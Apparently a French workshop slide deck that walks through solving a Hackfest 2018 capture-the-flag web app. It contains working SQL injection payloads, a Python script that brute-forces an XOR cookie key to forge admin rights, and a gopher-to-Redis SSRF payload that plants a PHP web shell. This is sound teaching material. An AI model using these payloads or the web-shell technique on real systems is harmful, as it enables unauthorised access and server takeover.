



# Sécurité des applications web

Marc-Antoine  
Nicolas



# Plan

## Partie I

(Durée: 1h30m)

- Présentation de la plateforme
- Exposition de données sensibles
- Injection SQL
- Authentification brisée et cryptographie

## Partie II

(Durée: 45m)

- SSRF
- Injection de commandes
- Conclusion

# Plateforme FastWord

FLAG{0-ed...c9}

- Compétition du Hackfest 2018
- Permet de faire des recherches
- Système d'authentification
- Page d'administration
- Plusieurs vulnérabilités
- 5 drapeaux





# Objectifs

1. Récupérer le code de l'application
2. Abuser du système d'authentification
3. Forger un cookie avec des droits administrateur
4. Obtenir de l'exécution de code sur le serveur.

On commence?!

<http://demo:15000/>





# Objectifs

1. **Récupérer le code de l'application**
2. Abuser du système d'authentification
3. Forger un cookie avec des droits administrateur
4. Obtenir de l'exécution de code sur le serveur.

# Exposition de données sensibles





# Nikto

Qu'est-ce que Nikto?

- Outil de type scanner
- Détecte des vulnérabilités connues
- Trouve des fichiers importants

Limitation de Nikto:

- Ne détecte pas toutes les failles
- Bruillant (beaucoup de requêtes)



**ATTENTION: N'exécutez l'outil que sur les sites qui vous ont autorisés**





# Nikto

## Utilisation:

```
nikto -h HOST -p PORT -Tuning 3
```

-h+            Target host

-p+            Port to use (default 80)

-Tuning+    Scan tuning:

- 1    Interesting File / Seen in logs
- 2    **Misconfiguration / Default File**
- 3    **Information Disclosure**
- 4    Injection (XSS/Script/HTML)

**ATTENTION: N'exécutez l'outil que sur les sites qui vous ont autorisés**



# /robots.txt

## FLAG{1-48...a6}

À quoi sert le fichier robots.txt?

- Gestion du trafic des robots d'exploration
- Bloquer l'accès à des URL
- Éviter de surcharger un site de demande

Limitation du fichier robots.txt:

- **Instruction != règle**
- Les robots peuvent interpréter la syntaxe de différentes façons
- Une page bloquée peut tout de même être indexée



# GitHub/GitTools/Dumper/gitdumper.sh

## Pourquoi utiliser GitDumper?

1. Télécharger le répertoire git d'un site
2. Rebâtir le code source de l'application
3. Analyser le code plus facilement
4. Découvrir des vulnérabilités

## Utilisation:

```
bash gitdumper.sh \  
    http://TARGET/.git/\  
    /tmp/destination
```

```
cd /tmp/destination
```

```
git checkout -- .
```

**ATTENTION: N'exécutez l'outil que sur les sites qui vous ont autorisés**



# Git

## FLAG{2-2b...33}

Comment Git fonctionne?

*« Git enregistre chaque révision dans un fichier en tant qu'objet blob unique. Les relations entre les objets blobs sont déterminées en examinant les objets commit. »*

Quelques commandes:

- git status
- git log
- git whatchanged

Structure du répertoire .git :

```
|— HEAD (référence vers le master)
|— branches
|— config (url, username, mail, ...)
|— description
|— ...
|— objects (commits)
|   |— info
|   |— pack
|— refs (référence pointe vers commit)
|   |— heads
|   |— tags
```



# Objectifs

1. Récupérer le code de l'application
2. **Abuser du système d'authentification**
3. Forger un cookie avec des droits administrateur
4. Obtenir de l'exécution de code sur le serveur.



# Analyse du code source

```
class MysqlAPI : function validate_login($username, $password, $secret)
-----
$secret = MysqlAPI::anti_sqli($secret);
$db = db_connect($config["MYSQL_USER"], $config["MYSQL_PWD"]);
$sql = "SELECT * FROM users WHERE username = '$username' AND secret = $secret";
$user = $db->query($sql)->fetch();

if ($user) {
    if ($user["password"] === $password) {
        return $user;
    } else {
        $_SESSION["flash"] .= "Invalid password for user " . $user["username"] . ". ";
    }
} else {
    $_SESSION["flash"] .= "Invalid username and secret identifier combination. ";
}
```



# Analyse du code source

```
class MysqlAPI :  
-----  
private static function anti_sqli($value) {  
    $banned = array("#", "--", ";");  
    $value = str_replace($banned, "", $value); // retire les caractères bannis  
    $value = preg_replace("/\s/", "", $value); // retire les caractères d'espacement  
    return addslashes($value); // remplace les symboles: ', ", \ et NUL  
}
```



# Analyse du code source

```
class MysqlAPI :  
-----  
private static function anti_sqli($value) {  
    $banned = array("#", "--", ";");  
    $value = str_replace($banned, "", $value); // retire les caractères bannis  
    $value = preg_replace("/\s/", "", $value); // retire les caractères d'espacement  
    return addslashes($value); // remplace les symboles: ', ", \ et NUL  
}
```



# Injection SQL





# Injection SQL - Étapes générales

1. Trouver une façon d'altérer la requête SQL
  - `' or '1'='1`
2. Déterminer le nombre de colonnes que la table courante contient
  - `' UNION SELECT 1,2`
  - `' UNION SELECT 1,2,3`
  - etc.
3. Extraire les noms de table de la base de données
  - `' UNION SELECT 1,table_name FROM information_schema.tables LIMIT 0,1`
4. Extraire les colonnes des tables intéressantes
  - `' UNION SELECT 1,column_name FROM information_schema.columns  
WHERE table_name = 'table_etape_3' LIMIT 0,1`
5. Extraire les informations intéressantes
  - `' UNION SELECT 1,colonne_etape_4 FROM table_etape_3`



# Injection SQL - Résolution

## FLAG{3-75...a1}

1. Trouver une façon d'altérer la requête SQL sachant qu'on ne peut pas mettre d'espaces.
  - Utilisation de commentaires SQL: `/**/`
  - `secret=1/**/or/**/1=1`
2. Déterminer le nombre de colonnes que la table `users` contient
  - `secret=1/**/UNION/**/SELECT/**/1,2,3,4,5,6`
3. Extraire les noms de table de la base de données
  - `secret=1/**/UNION/**/SELECT/**/1,table_name,3,4,5,6/**/  
FROM/**/INFORMATION_SCHEMA.tables/**/LIMIT/**/0,1`
4. Extraire les colonnes de la table `fl4g_v2_0` (0x666c34675f76325f30)
  - `secret=1/**/UNION/**/SELECT/**/1,column_name,3,4,5,6/**/  
FROM/**/INFORMATION_SCHEMA.columns/**/  
WHERE/**/column_name=0x666c34675f76325f30/**/LIMIT/**/1,1`
5. Extraire le drapeau
  - `secret=1/**/UNION/**/SELECT/**/1,flag,3,4,5,6/**/FROM/**/fl4g_v2_0`



# Objectifs

1. Récupérer le code de l'application
2. Abuser du système d'authentification
3. **Forger un cookie avec des droits administrateur**
4. Obtenir de l'exécution de code sur le serveur.



# Analyse du code source

## admin.php

```
if (MySqlAPI::get_user_secret("admin") !== $user->secret
    || !$user->has_priv("IS_ADMIN")) {
    $_SESSION["flash"] .= "You are not the admin! ";
    header("Location: /");
    exit();
}
```

Pour accéder à la page d'administration, il faudra :

- Avoir le secret de l'admin (utiliser l'injection SQL)
- Avoir le privilège administrateur
  - Pour accélérer l'attaque, on devra récupérer nos privilèges (utiliser l'injection SQL)



# Analyse du code source

## user.php

```
public function has_priv($priv) {  
    return in_array($priv, $this->privs);  
}  
  
public function decrypt_privs() {  
    global $config;  
    $key = $config["SECRET_KEY"];  
    $data = base64_decode($_COOKIE["privs"]);  
    $decrypted_privs = "";  
    for ($i = 0; $i < strlen($data); $i++) {  
        $decrypted_privs .= $data[$i] ^ $key[$i % strlen($key)];  
    }  
    return json_decode($decrypted_privs);  
}
```

## Notes sur les privilèges:

- Array
- Cookie «privs»
- Base64
- XOR avec une clé statique
- JSON decode

# Authentication brisée et cryptographie





# Authentification brisée et cryptographie


## Étapes à suivre

1. Récupérer le cookie privs de votre session
2. Trouver les premiers octets de la clé sachant que notre privs est un tableau vide
3. Trouver le prochain octet de la clé
  - a. ajouter un espace entre les crochets
  - b. chiffrer les premiers caractères avec le début de la clé trouvée à l'étape 2
  - c. envoyer toutes les possibilités du caractère jusqu'à ce qu'il n'y est plus d'erreur.
4. Recommencer l'étape 3 avec un espace de plus jusqu'à ce que la clé soit assez longue.
5. Utiliser la clé pour forger un cookie ["IS\_ADMIN"]
6. Faire une requête avec notre nouveau cookie forgé et récupérer le drapeau.

### Astuces:

```
import requests  
  
session = requests.Session()  
  
session.cookies.set("privs", "value", domain="167.99.180.119")  
  
r = session.get("http://167.99.180.119:15000/admin", allow_redirects=False)  
  
print r.text
```





# Authentification brisée et cryptographie


## Résolution

1. **Récupérer le cookie privs de votre session**
2. Trouver les premiers octets de la clé sachant que notre privs est un tableau vide
3. Trouver le prochain octet de la clé
  - a. ajouter un espace entre les crochets
  - b. chiffrer les premiers caractères avec le début de la clé trouvée à l'étape 2
  - c. envoyer toutes les possibilités du caractère jusqu'à ce qu'il n'y est plus d'erreur.
4. Recommencer l'étape 3 avec un espace de plus jusqu'à ce que la clé soit assez longue.
5. Utiliser la clé pour forger un cookie ["IS\_ADMIN"]
6. Faire une requête avec notre nouveau cookie forgé et récupérer le drapeau.

### Code:

```
import requests, base64, urllib2

params = {"password":"demo12345","secret":"62367621284","login":"","username":"demo"}
response = session.post("http://167.99.180.119:15000/profile", data=params)
privs = base64.b64decode(urllib2.unquote(session.cookies['privs'])) # privs = #o
```



# Authentification brisée et cryptographie

## Résolution

1. Récupérer le cookie privs de votre session
2. **Trouver les premiers octets de la clé sachant que notre privs est un tableau vide**
3. Trouver le prochain octet de la clé
  - a. ajouter un espace entre les crochets
  - b. chiffrer les premiers caractères avec le début de la clé trouvée à l'étape 2
  - c. envoyer toutes les possibilités du caractère jusqu'à ce qu'il n'y est plus d'erreur.
4. Recommencer l'étape 3 avec un espace de plus jusqu'à ce que la clé soit assez longue.
5. Utiliser la clé pour forger un cookie ["IS\_ADMIN"]
6. Faire une requête avec notre nouveau cookie forgé et récupérer le drapeau.

### Code:

```
key = []; plain = "[]"
for i in xrange(len(plain)):
    byte = ord(plain[i]) ^ ord(privs[i])
    key.append(byte)
print key
```




# Authentification brisée et cryptographie

## Résolution

1. Récupérer le cookie privs de votre session
2. Trouver les premiers octets de la clé sachant que notre privs est un tableau vide
3. **Trouver le prochain octet de la clé**
  - a. ajouter un espace entre les crochets
  - b. chiffrer les premiers caractères avec le début de la clé trouvée à l'étape 2
  - c. envoyer toutes les possibilités du caractère jusqu'à ce qu'il n'y est plus d'erreur.
4. Recommencer l'étape 3 avec un espace de plus jusqu'à ce que la clé soit assez longue.
5. Utiliser la clé pour forger un cookie ["IS\_ADMIN"]
6. Faire une requête avec notre nouveau cookie forgé et récupérer le drapeau.

### Code:

```
def encrypt_privs(plain, key):  
    cipher = ""  
    for i in xrange(len(plain)):  
        cipher += chr(ord(plain[i]) ^ key[i % len(key)])  
    return cipher
```



# Authentification brisée et cryptographie

## Résolution

1. Récupérer le cookie privs de votre session
2. Trouver les premiers octets de la clé sachant que notre privs est un tableau vide
3. Trouver le prochain octet de la clé
  - a. ajouter un espace entre les crochets
  - b. chiffrer les premiers caractères avec le début de la clé trouvée à l'étape 2
  - c. envoyer toutes les possibilités du caractère jusqu'à ce qu'il n'y est plus d'erreur.
4. Recommencer l'étape 3 avec un espace de plus jusqu'à ce que la clé soit assez longue.
5. Utiliser la clé pour forger un cookie ["IS\_ADMIN"]
6. Faire une requête avec notre nouveau cookie forgé et récupérer le drapeau.

### Code:

```
session.cookies.set('secret', "934618234", domain="167.99.180.119")  
plain = "[ "  
cipher = encrypt_privs(plain, key)
```



# Authentification brisée et cryptographie

## Résolution

1. Récupérer le cookie privs de votre session
2. Trouver les premiers octets de la clé sachant que notre privs est un tableau vide
3. Trouver le prochain octet de la clé
  - a. ajouter un espace entre les crochets
  - b. chiffrer les premiers caractères avec le début de la clé trouvée à l'étape 2
  - c. **envoyer toutes les possibilités du caractère jusqu'à ce qu'il n'y est plus d'erreur.**
4. Recommencer l'étape 3 avec un espace de plus jusqu'à ce que la clé soit assez longue.
5. Utiliser la clé pour forger un cookie ["IS\_ADMIN"]
6. Faire une requête avec notre nouveau cookie forgé et récupérer le drapeau.

### Code:

```
for j in xrange(256):  
    cipher = base64.b64encode(encrypt_privs(plain, key) + chr(j))  
    session.cookies.set("privs", cipher, domain="167.99.180.119")  
    r = session.get("http://167.99.180.119:15000/admin", allow_redirects=False)
```




# Authentification brisée et cryptographie

## Résolution

1. Récupérer le cookie privs de votre session
2. Trouver les premiers octets de la clé sachant que notre privs est un tableau vide
3. Trouver le prochain octet de la clé
  - a. ajouter un espace entre les crochets
  - b. chiffrer les premiers caractères avec le début de la clé trouvée à l'étape 2
  - c. **envoyer toutes les possibilités du caractère jusqu'à ce qu'il n'y est plus d'erreur.**
4. Recommencer l'étape 3 avec un espace de plus jusqu'à ce que la clé soit assez longue.
5. Utiliser la clé pour forger un cookie ["IS\_ADMIN"]
6. Faire une requête avec notre nouveau cookie forgé et récupérer le drapeau.

### Code (suite):

```
if ("in_array" not in r.text): # in_array() expects parameter 2 to be array
    key.append(ord("]") ^ j)
print key
break
```




# Authentification brisée et cryptographie

## Résolution

1. Récupérer le cookie privs de votre session
2. Trouver les premiers octets de la clé sachant que notre privs est un tableau vide
3. Trouver le prochain octet de la clé
  - a. ajouter un espace entre les crochets
  - b. chiffrer les premiers caractères avec le début de la clé trouvée à l'étape 2
  - c. envoyer toutes les possibilités du caractère jusqu'à ce qu'il n'y est plus d'erreur.
4. **Recommencer l'étape 3 avec un espace de plus jusqu'à ce que la clé soit assez longue.**
5. Utiliser la clé pour forger un cookie ["IS\_ADMIN"]
6. Faire une requête avec notre nouveau cookie forgé et récupérer le drapeau.

### Code:

```
plain = "["  
while len(key) < len('["IS_ADMIN"]') :  
    plain += " "  
    etape3()
```



# Authentification brisée et cryptographie


## Résolution

1. Récupérer le cookie privs de votre session
2. Trouver les premiers octets de la clé sachant que notre privs est un tableau vide
3. Trouver le prochain octet de la clé
  - a. ajouter un espace entre les crochets
  - b. chiffrer les premiers caractères avec le début de la clé trouvée à l'étape 2
  - c. envoyer toutes les possibilités du caractère jusqu'à ce qu'il n'y est plus d'erreur.
4. Recommencer l'étape 3 avec un espace de plus jusqu'à ce que la clé soit assez longue.
5. **Utiliser la clé pour forger un cookie ["IS\_ADMIN"]**
6. Faire une requête avec notre nouveau cookie forgé et récupérer le drapeau.

### Code:

```
win = encrypt_privs('["IS_ADMIN"]', key)
```





# Authentification brisée et cryptographie

## Résolution

**FLAG{4-ce...a4}**

1. Récupérer le cookie privs de votre session
2. Trouver les premiers octets de la clé sachant que notre privs est un tableau vide
3. Trouver le prochain octet de la clé
  - a. ajouter un espace entre les crochets
  - b. chiffrer les premiers caractères avec le début de la clé trouvée à l'étape 2
  - c. envoyer toutes les possibilités du caractère jusqu'à ce qu'il n'y est plus d'erreur.
4. Recommencer l'étape 3 avec un espace de plus jusqu'à ce que la clé soit assez longue.
5. Utiliser la clé pour forger un cookie ["IS\_ADMIN"]
6. **Faire une requête avec notre nouveau cookie forgé et récupérer le drapeau.**

### Code:

```
import re
session.cookies.set("privs", b64encode(win), domain="167.99.180.119")
r = session.get("http://167.99.180.119:15000/admin")
print re.findall('FLAG.*', r.text)[0]
```

Des questions?





# Objectifs

1. Récupérer le code de l'application
2. Abuser du système d'authentification
3. Forger un cookie avec des droits administrateur
4. **Obtenir de l'exécution de code sur le serveur.**



# Analyse du code source

## dictapi.php

```
$ch = curl_init();  
$url = strtolower($dict . " " . $word);  
$banned = array("[", "]", "local", "host", "file");  
$tmp = str_replace($banned, "", $url);  
curl_exec($ch);  
  
$redis->set($key, $response);
```

### Notes:

- Le dict est utilisé pour faire une requête cURL
- Certains protocoles sont bannis
- Protocole gopher peut être utilisé
- Redis est utilisé



# Analyse du code source

## profile-private.php

```
$data = MysqlAPI::get_user_by_id($_SESSION["user_id"]);  
if (isset($_POST["word"])) {  
    $response = DictAPI::search($data["dict"], $_POST["word"]);  
}
```

## mysqlapi.php

```
class MysqlAPI : function get_user_by_id($id)  
-----  
$db = db_connect($config["MYSQL_USER"], $config["MYSQL_PWD"]);  
$sql = "SELECT * FROM users WHERE id = $id";  
return $db->query($sql)->fetch();
```

## Notes:

- Dict est stocké dans la base de données



# Analyse du code source

## admin.php


```
$secret = isset($_POST["secret"]) ? $_POST["secret"] : "";  
$result = MysqlAPI::update_user($user_id, $target["dict"], $secret, $password);
```

## mysqlapi.php

```
class MysqlAPI : function update_user($id, $dict, $secret, $password = NULL)  
-----  
$secret = MysqlAPI::anti_sqli($secret);  
$sql = "UPDATE users SET $password dict = '$dict', secret = $secret WHERE id = $id";
```

# SSRF et Injection de code





# SSRF et Injection de code

## Étapes à suivre

1. Exploiter l'injection SQL
2. Générer un payload gopher qui abuse de Redis
3. Insérer le payload dans la base de données
4. Exécuter le payload en faisant une recherche qui sera indexé dans Redis
5. Naviguer vers la nouvelle page que le payload a créé
6. Trouver le drapeau





# SSRF et Injection de code

## Résolution

```
import codecs
from urllib.parse import quote_plus

redis = ""
redis += "_CONFIG SET dir /var/www/html/\r\n"
redis += "CONFIG SET dbfilename shell.php\r\n"
redis += 'SET payload "<?php echo `INSERT COMMANDS HERE`; ?>"\r\n'
redis += "BGSAVE\r\n"
redis = quote_plus(redis)
redis = redis.replace("+", "%20")

payload = "gopher://127.0.0.1:6379/" + redis
payload = codecs.encode(payload.encode('ascii'), "hex").decode("ascii")
print(payload)
```



# SSRF et Injection de code

## Résolution

**FLAG{5-b1...b5}**

```
function ssrf_dict() {  
    dict=$1  
    id=3  
    password="demo12345"  
    my_secret="62367621284"  
    curl 'http://167.99.180.119:15000/admin' \  
        -H 'Content-Type: application/x-www-form-urlencoded' \  
        -H "Cookie: privs=IxAIDV5NgcYPUMt; secret=934618234" \  
        --data "user_id=$id&password=$password&reset=Reset&secret=$my_secret,dict=0x$dict"  
}  
ssrf_dict "PAYLOAD"  
curl -s "http://167.99.180.119:15000/shell.php" | strings | sed -nr  
's/.*(FLAG\{.*\}).*/\1/p'
```

Démonstration



# Conclusion

